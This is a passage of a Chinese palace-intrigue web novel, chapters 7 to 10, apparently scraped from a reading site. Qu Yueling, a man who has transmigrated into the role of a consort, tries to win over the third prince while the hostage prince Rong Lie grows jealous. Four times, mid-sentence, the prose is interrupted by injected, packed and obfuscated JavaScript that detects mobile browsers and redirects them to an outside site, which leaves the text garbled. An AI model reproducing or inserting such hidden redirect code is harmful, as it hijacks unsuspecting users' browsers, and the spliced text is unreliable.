在曲月翎回首往他时,容冽又朝左侧偏了偏头,动作十分无辜,用那双邃深的黑瞳,凝视着曲月翎雀翎似的碧眸轻声问:“阿翎哥哥,怎么办呢?” ——瞧瞧这依恋的模样!这可怜的样子!这无助的神情! 容冽作为一个不小心推了他,都能一大清早拿着药膏来给他道歉的好孩子,他能有什么错? 曲月翎父爱大发,同时也铁了心要给这个喜欢霸凌别人的二皇子一点教训吃吃,便立刻又护到容冽身前,对二皇子说:“怎么容三殿下不往别人桌上扔死耗子,就往你桌上扔呢?锋儿,你真应该好好反思一下自己,是不是先干了什么欺负人的事。” “曲月翎!你、你……” 二皇子今日身边就跟了几个随从,没人帮他出主意,二皇子大概也是被曲月翎气得狠了,一时除了指着曲月翎目眦欲裂,便做不出其他反应了。 “我怎么了?强者从不抱怨环境,锋儿,这么点小事以后别提了,还有啊——”曲月翎上前一步,打了他指人的手背一巴掌,“别再拿食指指长辈了,不礼貌,不孝顺。” 打完二皇子,曲月翎就赶紧转身拉住容冽的手腕,压低声音提醒他:“走了走了。” 趁二皇子的膝盖刚被容冽踢瘸了不好追人,他们快些开溜吧! 也幸好容冽今天没昨天那么沉,曲月翎一拽他,他就十分温驯地被曲月翎牵走了。 走了几步,容冽忽然加快了脚步,和曲月翎并排而站,在他耳畔轻声说:“哥哥,是二皇子先欺辱我的。” 容冽是异国质子,他不能在崇文馆里和卫祁的皇子们一起上有关治国权谋和军事战术等政课,只能上上公开的礼仪律法课,再在禁苑校场和诸位皇子们练练骑射,但能学的武艺也不多,大部分时候都在充当一个类似于练武用的木人靶桩存在。 所以平日里,他早晨就在国子监里和其他官宦子弟们共同念书,下午时分进宫上礼仪课和骑射课。 而二皇子本人文课烂得一塌糊涂,他的伴读成绩也烂得有过之而无不及,两人时常因完成不了老师布置的作业也受罚,后来二皇子听说了容冽在国子监成绩不错,就想让他代笔给自己写作业。 谁知容冽这小小质子竟然拒绝他,他面子挂不住,本就一直怀恨在心,在唯一引以为傲的骑射课上使了坏,却依然输给容冽后,两人间的矛盾便彻底爆发了。 二皇子常带人在容冽出宫路上围堵殴打他,容冽则往二皇子桌上扔死耗子,又在骑射课上压着二皇子打,一来二去这仇怨就越积越深。 “阿翎哥哥,我只是不想挨打。”脸上的淤青还未消散,说话时黑睫微微垂落,显得他模样更脆弱了,“难道我做错了吗?” 曲月翎听完容冽的解释后,心已经彻彻底底地偏向了他,立刻否认道:“不,你没错,我就知道梁初锋是个坏胚!别说是你,我都想打他呢!” 容冽闻言,朝他勾唇笑了下:“谢谢阿翎哥哥。” “乖。”曲月翎摸摸他的脸,遗憾道,“我怎么就没有你这么乖的儿子呢?” 容冽听完唇边的笑又僵住了。 他继续垂着眼,借说话的时机将嘴角的笑容抿平,轻描淡写地说:“噢,我以为我会更像阿翎哥哥的弟弟呢。” 实际上,曲月翎的确觉得他在某些地方很像自己在现实世界里的弟弟,可在这里,他是没弟弟的,于是曲月翎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15634811|172633||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 又拍拍容冽的肩:“哈哈,我哪有你这么大的臭弟弟呢?我只想有你一个这么乖的好儿子。” 容冽:“……” 曲月翎这张嘴,文化不高点的是真听不懂他到底是在骂人还是夸人。 甚至就算是在夸人,有时听上去也像在骂人,真不明白如此仙气出尘的脸上为何会生着这样一双惹人厌的唇。 只是容冽此时此刻的心中所想,曲月翎一概不知。 曲月翎只苦恼容冽为什么不是男主呢? 真正的男主三皇子梁初景那边,他只和人见了一面就被梁初景嫌恶地赶走了,而他三番两次救容冽于水火,那容冽若是男主,以后登基了,不说往死里孝敬他,那也至少会尊奉他为“太后”报答这份恩情吧? 说到底,还是因为那天没挨丽妃的打,蝴蝶效应把能顺利收养好大儿的剧情扇歪了。 曲月翎长长叹出一口气,将搭在容冽肩上的手挪开,改为摸着自己的脸自言自语:“这该死的美貌误了我啊。” 耳力敏锐,听到他小声讲话的容冽:“…………” 而曲月翎仍在沉思,他觉得按照今天和三皇子见面的情况来看,他就算和皇帝提了想收养三皇子的事,此事也未必能成,因为三皇子大概率会抗议。 常年蝉联公司十佳员工的顶级牛马曲月翎,绝不会没有备用方案。 他想了个妙计,对容冽说:“二皇子此人心胸狭隘,睚眦必报,我觉得他不会轻易放过你,这样吧,往后我会每日去接你下课,不会再给二皇子欺负你的机会。” “阿翎哥哥对我真好。”容冽扯出笑容,“以后,阿翎哥哥就叫我……”的名字吧。 只是这话没能完整讲完,曲月翎就接道:“冽儿。” 容冽:“……” 曲月翎走累了,想坐轿辇了,就把容冽送到能望见宫门的地方,和他道别:“天色已晚,冽儿你快回去吧,我们明日再见。” 送走容冽,系统终于有机会和曲月翎商议事情了:“你打算每天去接容冽放学时,顺路和三皇子讲讲话,培养下感情?” “狗宝你最懂我。”曲月翎在轿辇上狂摸系统狗头,“求人不如求己啊,何况男人一般都不靠谱,皇帝老登那种渣男更是其中翘楚,我们不能把收养三皇子的希望都寄托在他身上。” “对了,你也听到了吧?三皇子今天叫和他特别亲近的那个宫女‘窈娘’。” “是。”系统说,“她应该就是那个在冷宫里,陪伴三皇子长大的女主钟以窈了。” 曲月翎道:“所以你也别闲着,我看她挺喜欢你的,你得想办法去勾引她,比如练点后空翻什么的,也和她打好关系,总之我们得用尽一切手段去攻略男主。” 系统:“……行吧。” “唉……虽然距离三皇子登基还有很久,我们时间是够的。”曲月翎望着远处的落日,触景生情,叹息一声接连一声,“但还是希望今晚老登皇帝能有点用,让我能少走几年弯路吧。” 8. 第 8 章 事实证明,老渣男是靠不住的。 皇帝梁怀徽傍晚来陪曲月翎吃了晚饭,曲月翎在用膳间,继续对满桌盛宴“触景生情”,说自己今天找狗找到冷宫去了,在那里碰见了吃不好也睡不好,瘦骨嶙峋的三皇子,很是心疼。 梁怀徽听完也叹了口气,满目悲恸沧桑道:“是……你姐姐在我走后,怕是也终日吃不好睡不好,才相思成疾……彻底与我天人永隔吧?” 说到末尾,梁怀徽甚至哽咽了起来,抬手按着眼睛不断耸肩。 曲月翎:“……” 曲月翎看得又无语又沉默,他不相信这个花心的老登皇帝会真为他死去的姐姐曲月珠流泪,否则梁怀徽怎么可能一回国就像从没见过曲月珠这个人似的,直到联姻时才重新变成卫祁第一深情呢? 所以他像学校里偷看同桌有没有哭的学生那样,弯腰去看梁怀徽的脸,谁知却真看见了满脸泪水?! 曲月翎顿时满头问号。 不是? 哥,你真哭啊? 曲月翎赶紧抄起手边的帕子,起身要去给梁怀徽擦泪:“节哀吧,陛下,您先擦擦……” 结果他刚隔着帕子碰到梁怀徽的手背,梁怀徽也猛地站了起来,怪叫一声:“啊!” 他这一叫把曲月翎也吓了一跳,跟着“啊”了一声。 “月、月翎……”梁怀徽睁大了眼睛,扶着桌面后退两步,抚着呯呯直跳的心口,满脸是泪颤声问,“你、你要对朕做什么?” 曲月翎也被他的一惊一乍吓得心跳失序:“……我准备送帕子给你擦脸。” “哦哦……” 梁怀徽闻言继续颤着胳膊接过手帕,抬手就往额头那擦被吓出的汗。 “擦泪。”曲月翎表情复杂地提醒他,“陛下,擦泪。” “哦哦……” 梁怀徽改道往眼睛那擦去,擦完眼泪帕子也没放下,继续擦汗。 曲月翎看着他这副模样,总有种梁怀徽才是那个伴君如伴虎的妃子,而他是威不可测的皇帝的错觉。 “陛下,你很怕我吗?”曲月翎试探性地问。 “朕怎么会怕你呢?朕爱你都来不及。”梁怀徽苦着脸强撑假笑,“你的身体最忌多思多虑,不要瞎猜,朕今晚、今晚……” 梁怀徽深吸一口气,再咬咬牙:“今晚陪你!” 曲月翎:“……” “陛下要不去看看三皇子吧。”曲月翎不想和他玩“你猜我猜”的猜心游戏,说正事,“三皇子都病好几日了,今日我见他时,身体看着依旧不太好。” 梁怀徽如蒙大赦,松了口气重新坐下:“朕的月翎真是心善,其实朕也正有此意。” 随后,他便和曲月翎讲起了三皇子梁初景的事。 梁初景是梁怀徽的侍寝宫女阿鸾所生,阿鸾身份地低微,靠着生育了皇子才升为静妃,但她却在三皇子七岁时,被抓住与宫中侍卫有染,梁怀徽顾念旧情不忍赐死她,只将其打入冷宫。 可阿鸾温良柔顺,却也极其刚烈,她坚称自己从未对不起陛下,愿以死自证清白,次日便吊死在冷宫房梁之上。 而第一个发现阿鸾尸体的,就是前来冷宫寻母,年仅七岁的三皇子梁初景。 从此以后,梁初景性情大变,固执地住去了冷宫,与梁怀徽关系极差。 梁怀徽虽有意修复父子关系,却始终未能见效。 曲月翎听着就忍不住想:这狗血、凄惨、可怜的往事,简直就是小说男主标配啊,梁初景不是男主,还能是谁呢? “其实朕今日午时去见过初景了,那时他还在发烧。” 梁怀徽告诉曲月翎,梁初景经此一病后,又性情大变了,和梁怀徽说话时不再像以前那样浑身是刺了,也愿意搬出冷宫,去皇子殿里居住,但他有一个要求,那就是要将他的生母阿鸾,追封为皇贵妃。 人死了,再多的荣华都是虚名。 梁怀徽在当年阿鸾死后,恸哭三日,早就将阿鸾追封为贵妃了,如今再追封她为皇贵妃,换回一个好儿子,梁怀徽没什么理由不同意,当即就同意了梁初景的要求,现在就等挑个黄道吉日下旨呢。 “朕以前还说想为他寻一位养母,好好照顾他,可今日初景竟主动和朕说,以前是他还小不懂事,现在他长大了,能自己照顾自己了,让朕不必为他多操心。”梁怀徽欣慰地笑了笑,“想来,朕也不用再为他烦忧寻找养母的事了。” 曲月翎:“……” 老登走了,去看他的好儿子退烧了没,在新宫殿里又住得适应不适应。 只有曲月翎走不出来。 因为老皇帝不仅没让他少走几年弯路,反而让他要多走几年弯路,他走得出来吗? “为什么会这样?”曲月翎揽镜自照,失魂落魄地询问系统,“这么一张不过略有几分姿色的脸,能造成的蝴蝶效应就这么大吗?” 系统同样万分迷惑:“我也搞不懂到底是哪里出了问题,我感觉三皇子不太对劲。” 曲月翎说:“何止是他不太对劲,梁怀徽也不对劲!” “梁怀徽崆峒嘛,这很容易看出来。”系统揣测,“难道三皇子也崆峒吗?所以他特别讨厌你?” “那完蛋了。”曲月翎说,“我在这后宫里要是直的,我还能活吗?” “能活。”系统残酷道,“大不了像太监一样活呗。” 曲月翎:“……” “可恶!让老登下令把三皇子直接给我抚养这条路是走不通了,还好我有b计划。”曲月翎爬进被窝里躺下,“事已至此,今晚就先睡觉吧。” 系统也往床底下的狗窝爬去:“晚安。” 但曲月翎眼疾手快捉住了它的双马尾:“你睡什么?你还没练会后空翻呢。” 系统:“?” 系统:“我不加班。” “你必须加,我不理解,你才几岁?”曲月翎也残酷地问它,“这个年纪你是怎么睡得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15634812|172633||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着啊?” 系统道:“三个月,刚断奶不久。” 曲月翎:“……那睡吧,用童工犯法。” 一人一狗沉沉睡去,一觉睡到中午才醒。 这个朝代后宫并没有嫔妃每日都要去向皇后请安的规矩,大家只用在每月初一去见见皇后就行。甚至因为曲月翎是男的,其他嫔妃是女的,且他患有心疾,身体不好,所以皇后特许他初一也无须过去问安。 而曲月翎醒来后,一边吃着午饭一边回忆,总感觉自己好像忘了什么事。 吃到半饱时才想起,他是不用每日去给皇后问安,质子容冽却是要每日来向他道歉的。 “哎呀,昨天忘了告诉他,以后都不用早早进宫来和我问安了。”曲月翎屈指敲敲额头,“他不会在我殿门外等了一早上吧?” 召来宫人一问,才得知容冽确实今早确实等了他很久,可他一直没起床,最后容冽为了不耽误国子监上课只能先行离开,并托宫人们转告曲月翎,说他下午放课后才来向曲月翎请罪。 曲月翎在清点他路上要带的糕点间隙和系统说:“我真不是故意鸽他的,实在是我满脑子都是怎么攻略男主三皇子,一时不太想得起容冽这个配角了。” “问题不大,他又不是男主,现在的关键是——”在练后空翻的系统也抽空回曲月翎道,“你确定冷若冰霜的男主会喜欢这种甜到发腻的糕点吗?” “男主喜不喜欢不重要,他老婆喜欢他就会喜欢。”曲月翎说,“我都打听过了,这个‘糖耳朵’是钟以窈最喜欢的甜食;我也尝过了,宫中御厨的手艺就是不错哈,很好吃,我都爱吃呢。” “三皇子就算不吃,也会为了这糕点多看我几眼。” “不然我空手而去,他肯定连一眼都不会看我。”说到这,曲月翎瞥了系统一眼,“除非你会后空翻。” 系统:“……别催,在练了在练了。” 收拾好东西,一人一狗出门。 曲月翎今天没坐轿辇,让宫人帮自己拎着食盒,步行朝崇文馆走去——今日皇子们不上武课,只上礼仪律法课。 他到的时间掐得准,正是皇子们能放学走人时。 曲月翎就站在树荫下等,通身碧衣几乎要融化到那翡翠般的绿叶里,可他那张清艳如画的脸,又实在叫人无法忽视,一身雪肤在暗影中也白若新雪,墨发青丝则在斑驳的日光里微微洇出朦胧光华,仿佛隔绝凡尘的仙雾,再有那额心红痣一点,活脱脱便是不容亵渎的菩萨神相。 但容冽自崇文馆中踏出,一抬眸瞧见青年时,却只觉得他活色生香,撩人心弦。 而青年仿佛也在等他。 望见他后,绿眸霎时晶亮,嘴角温柔地勾起,快步走来,口中也在念:“三殿下……” 看到这一幕,容冽不由微微勾唇,一声“阿翎哥哥”就要泄出唇缝,青年却快步与他擦肩而过了。 容冽:“……” 容冽的嘴角又抿平了。 9. 第 9 章 与曲月翎初遇时,容冽还以为曲月翎会像其他宫人那样,因忌惮二皇子和其生母虞贵妃的锋芒而疏远他,可容冽没料想到,曲月翎的锋芒比他们更甚,根本就是无所畏惧,即使知道这样做可能会得罪二皇子和虞贵妃,青年仍然会为他解围,一次次护在他身前和二皇子对峙。 ——明明曲月翎这样做是没有任何好处的。 容冽不明白,他只是一个无权无势的异国质子,曲月翎为什么要对他这样好呢? 因为曲月翎心善吗? 但容冽又听宫人们说曲月翎脾气不好,任性跋扈,应当不会如此好心。 而他今日在青年宫门前站了一早上,沾了满身湿凉露水,也没能见到曲月翎一面,只确实见识到了他的娇纵。 不过没关系,反正他的人生已经够糟糕了。 曲月翎还愿意对他好,那他就借曲月翎的势,让自己能在这卫祁的皇城中过得好些;曲月翎不再愿意对他好了,那他最差不过是回到原点,又还能坏到哪去呢? 结果这一刻来得竟是如此之快—— 容冽见曲月翎没给自己一道目光,径直路过他,朝他身后去了。 他不懂,青年口中“三殿下”不是自己吗? 这里还有哪个三殿下? 跟着曲月翎转身回头一看,容冽才蓦然想起,确实还有一个“三殿下”的,那是比他更名正言顺,更担得起“三殿下”尊称的,卫祁三皇子——梁初景。 只是梁初景近几日请了病假,没来上课,加之他以前性格沉默寡言,独来独往,与自己也没什么交际,容冽才一时忽略了他。 但他把梁初景忽略了,曲月翎却没有。 容冽面无表情,注视着青年快步走到另一个“三殿下”面前,温声细语问他身体好些没?问完再提起手中的食盒,继续问梁初景要不要吃些糕点。 那种殷切专注的目光,曲月翎从前只用来看他的狗,从未这样看过旁人,包括自己。 此刻,他却将这样的目光落向了梁初景。 而梁初景面色冷淡,垂眼避开了青年的视线,甚至还后退了好几步,老气横秋地说:“多谢越妃挂念,我的身体已经全好了,昨日我病糊涂了,出言无状,还请越妃见谅。” “没事的没事的。”曲月翎摆摆手:“毕竟你也算是我儿子,我们都是一家人,用不着这么见外。” “……” 梁初景额角抽了下,嘴巴张张又合上,似乎不知道该怎么接曲月翎的话。 倒是二皇子冷笑一声,从崇文馆里疾步走出,插.入两人的谈话喝道:“曲月翎,你少往自己脸上贴金!” “谁是你儿子?谁跟你是一家人了?” “入宫的‘越妃’应当是曲月珠,你的名字根本就不在玉牒上!”二皇子指着曲月翎,将他昨日回去后查到的事情说出,“你算哪门子的‘越妃’?” 曲月翎听完他的话,也反应过来了,他是替嫁进宫的,被记载在皇室玉牒上的越妃之名是“曲月珠”,不是他,若非老登皇帝看了曲月珠临终前的泣泪血书,心生愧疚让他顶替了姐姐“成为”越妃,他不可能在卫祁皇宫里留下。 所以若细究起来,他其实和老登皇帝没有半点干系,更不可能是这群皇子的“母妃”。 但那又咋啦? 他就是有好姐姐送的“免死金牌”护着呀。 于是曲月翎也冷笑一声,斜眸睨着二皇子讥诮道:“行吧,我确实没有像你这么会狗叫的儿子。” “可再怎么说,我们也还是一家人啊。”曲月翎给肖似文盲的二皇子好好捋了下他们之间的亲缘关系,“因为曲月珠是我姐姐,你是我外甥,而我是你的小舅父。” “舅父舅父,一半是‘父’,四舍五入一下,我怎么不算你半个父亲呢?” 曲月翎捋到这里,忽然发现自己可以不做男妈妈了,直接做父亲,刹那间便弯眸笑起,碧色眼瞳中翠色流转,眼波盈盈,容貌是极美的,嘴也是极毒的:“二殿下,你既不肯认我这位‘母妃’,那从今往后,我们就各论各的吧,你管叫我‘爹’,我管叫你‘畜生’……哦不,是‘外甥’。” 此言一出,二皇子又一次目眦欲裂,却又因为骂不过曲月翎而只能抚胸直喘粗.气,如果不是因为他体壮如牛,恐怕早就被气晕了。 “二皇兄,别中计啊!”四皇子则像上回那样,怕事情闹大,又拉住二皇子的胳膊,想把人拽走。 连三皇子梁初景都微微睁大双眼,蹙眉诧异又疑惑地望着曲月翎,似乎对他感到十分陌生。 容冽望着这一幕,却不由在心中问:你在装什么? 你们俩昨日不是见过了吗? 说不定之前也经常见。 曲月翎可关心你了,问你病好了没,还给你带甜糕…… 就连二皇子那个狗东西,都和曲月翎说那么长的话,只有他——只有自己,既没得到青年的目光,也没得到他的关心,甚至连一句话都说不上。 容冽目光幽冷,死死盯着曲月翎。 他既想要曲月翎看他,又怕曲月翎真看向自己时,发现自己在看他。 这样扭曲阴暗的情绪在容冽心中翻搅着,使他那双黑色的眼瞳越发幽邃晦暗,最终容冽垂下长睫,将目光调转向曲月翎拎着食盒的手。 他想冷静一点,才不去看青年的脸。 但望着曲月翎的手,他又忍不住想:那双手纤细白皙,指腹柔软,曾经将他从地上牵起、曾经抚过他的脸、曾经为他上过药……如今却拎着要送给别人的礼物。 曲月翎是对谁都这么好吗? 在一刻,容冽突然希望曲月翎对他好是因为有求于他,而不是像现在这样,随便来个杂碎,都能分走他的目光和注意。 “……容殿下?” 容冽在不想听见的、来自曲月翎以外的声音中缓缓抬眸,见梁初景接过了曲月翎手里的食盒,有些犹豫地问他:“我方才见你一直盯着这食盒,你是不是也饿了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15634813|172633||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?要不我们一起吃点吧?” 曲月翎还在纳闷梁初景怎么就忽地愿意接受他带的糖糕了,毕竟他和梁初景挨的近,能见梁初景眼中对他的厌烦防范和生疏冷落瞧得清清楚楚。 可梁初景望了容冽一眼后,却莫名改变了主意,接过食盒和他淡淡道了声谢,然后邀请容冽跟自己一块吃点东西。 曲月翎闻言便赶紧附和着梁初景说:“是啊,冽儿也一块吃点吧?这个糖耳朵很好吃,我中午在宫里时都吃了半碟呢。” “我不爱吃……” ——容冽拒绝的话语和曲月翎同时响起。 “嗯?”曲月翎咦了一声,“你不爱吃甜糕吗?” “是不怎么爱。”容冽顿了顿,开口,“但既然阿翎哥哥很喜欢……” 少年嘴角向上扬起,朝曲月翎浅浅微笑着,即使变声期的嗓音嘶哑低沉,在曲月翎听来,却犹如天籁。 因为他说:“我也想陪阿翎哥哥尝尝它的味道。” 天呐! 这孩子没白救! 曲月翎可太开心了,容冽回答“不爱吃”时,他还以为自己抓不住这个能借容冽和和梁初景多相处片刻的机会了呢,结果容冽居然这么贴心,不仅说了他想听的话,还特别强调道“陪阿翎哥哥”! 他问梁初景:“那我们一起去临柳湖边坐坐吧?” 说实话,梁初景是想拒绝曲月翎的,他这辈子都不想和曲月翎再有任何接触了,但他又需要和容冽结交相识……算了,梁初景在心中对自己道:先忍忍吧。 容冽此人生性多疑,凉薄狠戾,想取得他的信任,与他交好并不容易。 眼下容冽年纪与自己年纪差不多大,性格应当还没有将来那般沉郁阴鹜,他甚至会对曲月翎笑呢——还不是阴冷的嗤笑,自己该趁此机会和他结识,拉近关系才对。 故梁初景同意了曲月翎的提议。 三人一块到临柳湖边的石桌那坐下了,共同分吃食盒里的糖耳朵。 然而他们三人之中,真正爱吃甜食的只有曲月翎。 容冽不爱,从来不碰。 梁初景也不爱,他的膳食里出现甜品只有一种可能——特地留给窈娘的。 现在,曲月翎却往他们面前的小碟里,一人放了两块糖耳朵,随后语气慈爱道:“景儿、冽儿,快吃吧。” 梁初景:“……” 梁初景听着曲月翎对自己的称谓,只觉得牙齿比吃多了糖糕还酥软,令人浑身难受。 他捏起糖耳朵看了一眼坐在他对面的容冽,见容冽面沉似水,黑眸中甚至隐约可见几分阴郁,还以为容冽也在为曲月翎唤他“冽儿”的名称难受,便说:“越妃以后还是叫我初景吧。” 其实他直接称呼曲月翎为“越妃”其实的不太尊敬的,不过曲月翎本人好像不太在意,说:“那初景以后也和冽儿一样,都叫我‘阿翎哥哥’吧。” 青年话声甫落,梁初景就瞧见容冽抿紧唇线,眸光更幽沉了。 10. 第 10 章 果然是不喜欢“冽儿”这个一言难尽的称呼吧? 梁初景在心中猜测。 然而一言难尽归一言难尽,曲月翎既然能叫出此等亲近的称呼,就证明他和容冽相识,而且容冽还唤他“阿翎哥哥”,所以两人可能关系还算不错? 但他们为什么会认识呢? 梁初景明明记得,上一世容冽直到返回邺国,他也没跟曲月翎说过十句以上的话。 这一世,他却愿意陪着曲月翎坐下,吃他不爱吃的糖耳朵。 梁初景弄不清楚原因。 两天前,他重生了。 回到自己成为曲月翎养子前一个月。 别看曲月翎现在还像个正常人,可等他爱上自己父皇以后,他就会由于爱而不得,日渐疯魔,甚至变成因妒弑亲的白眼狼! 虽然梁初景知道这一切的罪魁祸首是他那天生风流、处处留情的父皇,曲月翎不过是一个如他母妃般,被他父皇蛊惑而深情错付的可怜人。 可梁初景实在忍受不了曲月翎在他父皇死后,将自己当做父皇的替身,终日骚扰他;更难以接受自己登基以后,曲月翎为独揽皇权,而给窈娘下毒,想控制自己的事。 所以重来一世,梁初景发誓这辈子绝对不要再和曲月翎扯上关系! 哪怕没有曲月翎的助力,只凭他一己之力很难坐上皇位,可做曲月翎的养子,无异于自寻死路。 相较之下,即使跟容冽合作,有驱虎吞狼,后患无穷的危险,梁初景也愿意一试。 毕竟上辈子容冽之所以对卫祁皇室的人恨之入骨,是因为长期遭受二皇子的欺辱,又无人肯帮他一回。 彼时自己虽曾有过对容冽施以援手的念头,却在听了曲月翎让他“明哲保身为上”的劝阻后,选择了袖手旁观,独善其身。 梁初景认为自己并非全然无辜,因此后来哪怕和前来攻打卫祁的容冽兵戎相见,死在他剑锋之下,心中对容冽也没太多怨恨,反而很欣赏他能屈能伸、百折不挠的性格,和其英武过人、悍勇善战的能力。 故这一世,梁初景决定不再对他二皇兄欺凌容冽的行为视而不见,只打算对容冽倾囊相助,希望能成为他的挚友;纵使不成,也应该能减少些容冽对卫祁的恨意,让容冽在未来与自己兵戈相见时有和谈的可能吧? 当然,梁初景不会把所有希望都寄托在容冽身上,只是此刻,这是他所能走的,最轻松容易的夺权之路。 ——以上种种,皆是梁初景意识到自己重生后的心中谋划。 不过在与曲月翎碰面之后,梁初景却觉得这一世的曲月翎和上一世不太一样了,甚至是变化极大。 譬如:曲月翎上一世是在爱上他父皇后,才放弃涂脂抹粉,以自己本来的面貌示人,可这一世曲月翎才入宫不久啊。 而且他也打听过了,这一世丽妃大闹栖月宫,扇曲月翎耳光的事情也并未发生,更重要的是,上一世曲月翎明明劝他不要为了容冽一个区区质子开罪二皇兄,这一世他怎么自己先和二皇兄杠上了呢? 难道说…… 曲月翎也重生了? 因此他知道二皇兄根本不可能登上皇位,既不怕得罪他了,也先自己一步向容冽伸出援手,救了他? 一想到有这种可能,梁初景就坐不住了,他想试探试探曲月翎。 于是梁初景一改之前的冷淡态度,如同被这盒糖耳朵收买了似的,难得露出个冰霜融化般的浅笑,对青年说:“确实如阿翎哥哥所言,这糖耳朵很好吃。” “觉得好吃,初景就再多吃几个吧。”曲月翎闻言又给梁初景夹了两块糖耳朵,还把整个食盒都往梁初景面前推了推,“把这盒糖耳朵带回去也行。” “阿翎哥哥总是这样体贴,难怪父皇昨晚来看望我时,一直和我说阿翎哥哥很好。”梁初景微顿话音,皱起眉头,一副难以启齿的模样,“只是父皇后来又说……” ——曲月翎爱惨了他父皇,若青年真是重生的,一定会急于知晓父皇都对自己说了什么有关他的事。 果不其然,青年一听他这么说,绿眸之中霎时便流露出了焦急和紧张的神色,连身体都往前倾了倾,追问道:“你父皇还说了我什么?” 梁初景目光骤冷,漠然说出最能刺激曲月翎暴露其疯癫本.性的话语:“他说你图有一张好脸,却身无所长,金玉其外,败絮其中,比起你,他还是更爱虞贵妃一些。” 不料青年听完竟抚着心口,松了口气似的说:“原来是说实话啊,我还以为在说我坏话呢。” 梁初景:“……?” 他根本不知道,曲月翎不是重生的,而是穿书的。 穿书的曲月翎才懒得管老登皇帝对自己是什么看法,也不在乎老登爱谁,反正老登谁都爱不长久,他只要确保老登不会在梁初景面前讲自己坏话,败坏男主对自己的好感度就行。 何况在这古代背景里,曲月翎确实没什么古人擅长的技能,琴棋书一窍不通,“画”倒是因为兼职会些,但他要谦虚,要藏拙,要等待一个合适的机会再暴.露自己会画画的特长,狠狠惊艳众人! 至于现在嘛…… 曲月翎垂下羽睫,神情忧郁羸弱,叹息说:“是的,我除了这张颇有几分姿色的脸以外,便身无专长。最多擅长养养狗吧。” 曾是他养子的梁初景:“……” 梁初景认为曲月翎有可能是在拐着弯骂自己,可紧跟着,青年便对挨在他腿旁的黑色细犬招招手:“来,双马尾,给你两位哥哥表演个后空翻。” 那黑色细犬颇通人性,应声听令,表演了个后空……摔。 “哈哈……看来这招它还没学会。”曲月翎讪笑两声,找补道,“不过握手它肯定是会的!” 说着,他便俯身朝小狗伸出右手,继续下令:“来,狗宝,握握手。” 小狗这次准确无误地把手放到了青年掌心里,被他握住上下摇摇。 觉得一人一狗动作分外眼熟的容冽:“……” 一番试探无所收获,但梁初景仍不敢掉以轻心,毕竟曲月翎上辈子留给他的心理阴影实在是太大了! 他决定再观察曲月翎一段时间,有曲月翎在场,他也不好与容 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15634814|172633||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 冽多说些什么,今日就先回去罢。 梁初景起身道别。 临走前,他拎起那盒糖耳朵准备带回去给窈娘吃。 容冽见状却忽地开口:“阿翎哥哥,我也还想吃几块糖耳朵。” “容殿下想吃?”梁初景闻言立刻示好,将食盒重新放下,“那我这盒糖耳朵给你……” 容冽掀眸,长睫之下的黑瞳幽然邃寂,淡声打断他:“那是阿翎哥哥给你的。” “三殿下。” “你怎么能将阿翎哥哥的心意,如此轻易地转赠给他人呢?” 容冽问完这句话,侧脸抬眸望了一眼曲月翎,又慢慢垂目睨向食盒,用一种求而不得、羡慕又落寞的语气低喃道:“如果是我……我是一块都舍不得浪费的。” “……” 梁初景张着嘴巴愣住。 不是? 他只是想把糖耳朵分给容冽吃啊,怎么就成浪费了? 曲月翎听完心中却暗喜,赶紧帮梁初景说话,觉得这是个刷男主好感的绝佳机会:“冽儿,初景是想把好吃的东西和你分享罢了,怎么算是浪费呢?” “对对对!”梁初景也赶忙解释,“我只是想同你分享,并没有别的意思。” “原来是这样……是我误会三殿下了。”容冽的神色和语调都没太大变化,但时刻关注着他举动的梁初景注意到,少年垂在身侧的五指缓缓攥紧了,“都怪我,我从没吃过这么好吃的糖耳朵,还以为这样好的宝贝没人愿意分享出去,只有不爱的、嫌弃的东西,才会随手施赠给旁人。” 梁初景:“我……” 梁初景这下是真的有口难言了。 只能说容冽不愧是后来接连踏平诸国的独夫暴君吗?性情就是这般多疑孤僻,喜怒无常,叫人极难接近交好。 当下,梁初景头一次庆幸曲月翎在场,能帮他打个圆场。 